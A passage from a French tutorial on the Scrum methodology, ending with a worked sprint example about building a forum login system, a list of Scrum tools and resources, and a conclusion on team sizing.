- système d’auth/inscri
Division des tâches :
- DB user
- script d’inscription
- script de connexion
- panneau d’administration des user
- style provisoire du forum
Début du Sprint
Manu404 : Db User, script inscription
HackAngel : script de connexion, panneau admin
Skorm : Création de la Charte graphique provisoire
durant un des Scrum quotidien Manu404 fait la demande d’un framework pour Oracle a une des rencontres au ScrumMaster pour gérer la DB User. Le ScrumMaster étudie la demande, et l’accepte. Il modifie le Spring Backlog et y rajoute :
- Installation du framework php <=> Oracle
A la fin de la semaine, avant la demo, Gioia_motherlode test le livrable, Skorm créé un déploiement et l’équipe réalise la demo au ProductOwner (Korigan), le Product Owner est satisfait mais désire que les utilisateurs puissent s’authentifier via leur adresse e-mail. Le débriefing à lieu, rien de particulier a dire.
Un nouveau Process peux commencer, la demande de Korigan concernant l’authentification est rajouté dans le Product Backlog avec une priorité de 5 sur 5
10. Ressources, sources et liens
Il existe des logiciels afin de gerer les développement en Scrum et de planifier les tâches (Product Backlog, Sprint Backlog, Scrum, Sprint, Livrablles, Decoupe des fonctions, dépendances,…)
Voici une liste des produits libre :
- Wilos : http://wilos.sourceforge.net/
- Ice Scrum : http://www.icescrum.org/
- EPF (pour EDI Eclipse) : http://www.eclipse.org/epf
- OpenERP (inclus un module Scrum) : http://www.openerp.com/
Ressources diverse :
- Site Officiel Scrum : http://www.controlchaos.com/
- La Scrum alliance : http://www.scrumalliance.org/resources/
- La Agile alliance : http://www.agilealliance.org/
- User Group Français sur Scrum : http://www.frenchsug.org/display/FRSUG/French+Scrum+User+Group/
Sources :
- Wikipedia (shema du point 7) : http://fr.wikipedia.org/wiki/Scrum
- Le développement Agile, Editions O’Reilly
- Mettez du Scrum dans vos projets, Edition Eyrolles
Le PDF a été généré avec l’outil PDF Créator
11. Conclusion
Nous l’avons vus, Scrum est donc une méthodologie simple a mettre en oeuvre et très éfficace. Cependant, n’oubliez jamais que le projet passe AVANT la méthodologie. Si il est absolument nécésaire de contourner la méthodologie pour résoudre un soucis lors du développement, alors cessez le Sprint ! Votre but n’est pas de suivre des procédures de développement, mais de développer en se basant sur ces procédures ! Scrum est parfait pour gerer des équipes de 3-8 personnes, au dessus de 8 personnes, il est préférables de créé plusieurs équipes. Donc pour un développement comptant 20 membres, on va créé 3 équipes, chacune avec un Scrum Master. Les rencontres se déroulent normalement en équipe, et on rajoute une rencontre de 1H/jours dans lesquels les 3 Scrum Master se feront les messagers vers les autres équipes.
Alors bonne chance dans vos projets et bons Scrums ![]()
Istace Emmanuel (Manu404)





Laisser un commentaire